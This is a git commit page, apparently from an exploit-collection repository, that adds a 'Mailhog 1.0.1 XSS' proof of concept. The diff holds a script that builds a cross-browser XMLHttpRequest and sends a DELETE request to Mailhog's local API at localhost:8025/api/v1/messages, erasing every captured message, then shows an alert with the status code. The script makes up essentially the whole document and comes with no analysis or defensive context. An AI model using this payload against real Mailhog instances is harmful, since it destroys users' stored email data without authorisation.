add Mailhog 1.0.1 XSS

This commit is contained in:
helloexp 2023-03-20 10:06:44 +08:00
parent 7eec310d18
commit c3dbd01f10

View File

@ -9,27 +9,19 @@
<script> <script>
var XMLHttpFactories = [ var XMLHttpFactories = [
function () { function () {
return new XMLHttpRequest() return new XMLHttpRequest()
}, },
function () { function () { return new ActiveXObject("Msxml2.XMLHTTP")},
return new ActiveXObject("Msxml2.XMLHTTP")
},
function () { function () {
return new ActiveXObject("Msxml3.XMLHTTP") return new ActiveXObject("Msxml3.XMLHTTP")
}, },
function () { function () {
return new ActiveXObject("Microsoft.XMLHTTP") return new ActiveXObject("Microsoft.XMLHTTP")
} }
@ -37,46 +29,28 @@
]; ];
function createXMLHTTPObject() { function createXMLHTTPObject() {
var xmlhttp = false; var xmlhttp = false;
for (var i=0;i<XMLHttpFactories.length;i++) { for (var i=0;i<XMLHttpFactories.length;i++) {
try { try {
xmlhttp = XMLHttpFactories[i](); xmlhttp = XMLHttpFactories[i]();
} }
catch (e) { catch (e) {
continue; continue;
} }
break; break;
} }
return xmlhttp; return xmlhttp;
} }
var xhr = createXMLHTTPObject(); var xhr = createXMLHTTPObject();
xhr.open("DELETE", "http://localhost:8025/api/v1/messages", true); xhr.open("DELETE", "http://localhost:8025/api/v1/messages", true);
xhr.onreadystatechange = function() xhr.onreadystatechange = function()
{ {
if (xhr.readyState == 4) if (xhr.readyState == 4)
alert("Request completed, with the following status code: " + alert("Request completed, with the following status code: " +
xhr.status); xhr.status);
} }
xhr.send(""); xhr.send("");
</script> </script>